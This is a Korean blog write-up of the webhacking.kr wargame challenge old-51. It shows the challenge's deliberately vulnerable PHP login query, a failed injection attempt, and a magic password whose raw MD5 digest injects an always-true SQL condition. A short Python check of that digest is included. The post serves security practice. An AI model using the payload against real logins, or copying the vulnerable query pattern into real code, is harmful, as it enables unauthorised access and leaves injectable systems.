Web/webhacking.kr

webhacking.kr old-51

cloudnaaam 2024. 10. 17. 00:05

old-51 문제다.

 

뭔가 sql injection 냄새가 풀풀 나지만, 우선 주어진 소스 코드를 확인해보겠다.

 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
  if($_POST['id'] && $_POST['pw']){
    $db = dbconnect();
    $input_id = addslashes($_POST['id']);
    $input_pw = md5($_POST['pw'],true);
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
    if($result['id']) solve(51);
    if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
  }
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>

 

id 부분에는 addslashes 함수를 사용하고, pw 부분에는 md5 함수를 사용한다.

 

처음에는 id 부분에 %ff' or 1=1;-- - 를 넣어서 풀어보려 했는데, 안되더라.

 

그래서 md5 함수에 대해서 찾아보았다.

 

md5(문자열) -> 32자리의 16진수 값을 반환

md5(문자열, true) -> 16자리의 바이너리 값을 변환

 

이런 특징이 있는데, 

 

https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

 

SQL injection with raw MD5 hashes (Leet More CTF 2010 injection 300)

The University of Florida Student Infosec Team competed in the Leet More CTF 2010 yesterday. It was a 24-hour challenge-based event sort of like DEFCON quals. Ian and I made the team some...

cvk.posthaven.com

이 대단한 분들이 hash를 분석해서 1' or '1 이 반환되도록 hash를 짜는 코드를 만든 것을 발견했다.

 

129581926211651571912466741651878684928 를 md5로 돌리면 1' or '1 이 나온다고 한다.

 

그래서 id=admin, pw= 129581926211651571912466741651878684928 를 넣었더니

 

 

 

풀었다!

 

+++++

 

import hashlib

a = '129581926211651571912466741651878684928'
a = a.encode('utf-8')

md5 = hashlib.md5(a)
md5 = md5.digest()

print(md5)

이거로 확인해보자.

 

'1 or '8 이 나오더라..

'Web > webhacking.kr' 카테고리의 다른 글

Webhacking.kr old-14  (0) 2025.03.17
Webhacking.kr old-01  (0) 2025.03.17
webhacking.kr old-15  (0) 2024.10.18
webhacking.kr old-60  (0) 2024.10.18
webhacking.kr old-42  (3) 2024.10.16